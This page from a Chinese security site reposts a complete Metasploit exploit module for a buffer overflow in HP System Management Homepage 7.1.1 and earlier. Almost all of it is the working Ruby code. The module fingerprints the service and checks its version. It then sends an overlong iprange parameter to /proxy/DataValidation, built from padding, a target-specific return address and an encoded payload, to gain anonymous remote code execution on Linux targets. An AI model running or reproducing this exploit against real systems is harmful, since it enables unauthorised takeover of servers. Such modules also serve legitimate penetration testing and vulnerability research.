首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HP System Management Anonymous Access Code Execution
来源:metasploit.com 作者:agix 发布时间:2013-04-03  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	HttpFingerprint = { :pattern => [ /HP System Management Homepage/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HP System Management Anonymous Access Code Execution',
			'Description'    => %q{
					This module exploits an anonymous remote code execution on HP System Management
				7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on
				a request against /proxy/DataValidation. In order to work HP System Management must
				be configured with Anonymous access enabled.
			},
			'Author'         => [ 'agix' ], # @agixid
			'License'        => MSF_LICENSE,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 1000,
					'BadChars' => "\x00\x25\x0a\x0b\x0d\x3a\x3b\x09\x0c\x23\x20",
					'EncoderOptions' =>
						{
							'BufferRegister' => 'ESP' # See the comments below
						}
				},
			'Platform'       => ['linux'],
			'Arch'           => ARCH_X86,
			'References'	 =>
				[
					['OSVDB', '91812']
				],
			'Targets'        =>
				[
					[ 'HP System Management 7.1.1 - Linux (CentOS)',
						{
							'Ret' => 0x8054e14, # push esp / ret
							'Offset' => 267
						}
					],
					[ 'HP System Management 6.3.0 - Linux (CentOS)',
						{
							'Ret' => 0x805a547, # push esp / ret
							'Offset' => 267
						}
					]
				],
			'DisclosureDate' => 'Sep 01 2012',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(2381),
				OptBool.new('SSL', [true, 'Use SSL', true])
			], self.class)

	end

	def check
		res = send_request_cgi({
			'method' => 'GET',
			'uri' => "/cpqlogin.htm"
		})

		if res and res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
			version = $1
			return Exploit::CheckCode::Vulnerable if version <= "7.1.1.1"
		end

		return Exploit::CheckCode::Safe
	end

	def exploit

		padding = rand_text_alpha(target['Offset'])
		ret = [target['Ret']].pack('V')
		iprange = "a-bz"+padding+ret+payload.encoded

		print_status("#{rhost}:#{rport} - Sending exploit...")

		res = send_request_cgi({
			'method' => 'GET',
			'uri' => "/proxy/DataValidation",
			'encode_params' => false,
			'vars_get' => {
				'iprange' => iprange
			}
		})

	end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Novell ZENworks Configuration
·Linksys E1500/E2500 apply.cgi
·Ruby Gem ldoce 0.0.2 Command E
·MongoDB nativeHelper.apply Rem
·STUNSHELL Web Shell Remote Cod
·STUNSHELL Web Shell Remote PHP
·PonyOS 0.4.99-mlp Privilege Es
·Draytek Vigor 3900 1.06 - Priv
·Netgear DGN1000B setup.cgi Rem
·KNet Web Server 1.04b - Buffer
·Groovy Media Player 3.2.0 Buff
·ALLMediaServer 0.94 Buffer Ove
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved